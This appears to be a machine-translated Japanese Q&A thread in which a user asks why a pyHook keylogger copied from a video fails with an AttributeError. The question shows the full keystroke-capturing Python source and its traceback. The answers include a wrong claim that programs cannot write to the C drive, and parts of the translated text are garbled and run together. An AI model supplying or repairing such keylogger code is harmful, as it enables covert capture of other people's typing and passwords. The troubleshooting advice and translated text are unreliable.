2016-10-01 14 views
0

私はこのビデオからキーロガーコピーしています:(https://www.youtube.com/watch?v=8BiOPBsXh0g)をして、コードを実行している:ませ属性 'HookManager' ん

import pyHook, sys, logging, pythoncom 

    file_log = 'C:\Users\User\Google Drive\Python' 

    def OnKeyboardEvent(event): 
     logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') 
     chr(event.Ascii) 
     logging.log(10, chr(event.Ascii)) 
     return True 

    hooks_manager = pyHook.HookManager() 
    hooks_manager.KeyDown = OnKeyboardEvent 
    hooks_manager.HookKeyboard() 
    pythoncom.Pumpmessages() 

これはエラーを返します。

Traceback (most recent call last): 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module> 
     import pyHook, sys, logging, pythoncom 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module> 
     hooks_manager = pyHook.HookManager() 
    AttributeError: 'module' object has no attribute 'HookManager' 

私は、Python 2.7を実行しています.11とWindowsコンピュータ。 問題の内容がわかりません。助けてください。 ありがとうございます

答えて

0

私はまだ問題は何か不明ですが、私は解決策を見つけました。 プログラムをHookManager.pyファイルと同じフォルダに移動しようとすると、そのプログラムは機能します。私にとって

このファイルは以下のとおりであった: C:\ Python27 \ Libの\サイトのパッケージは、この行は、あなたのプログラムを書くことはできませんシステムとして

file_log = 'C:\Users\User\Google Drive\Python'

間違っているpyHook

0

ブロを\します'C'ドライブには、以下のように 'D'ドライブや 'E'ドライブなどの別のパスを使用する必要があります。

file_log = 'D:\keyloggerOutput.txt' 
+0

助けてくれてありがとうございましたが、これで問題が解決しないようですが、今はプログラムの動作バージョンがあります。私の質問に答える時間をとってくれてありがとう – Crelic

+0

私はこのプログラムをテストしてうまくいきました。 –

関連する問題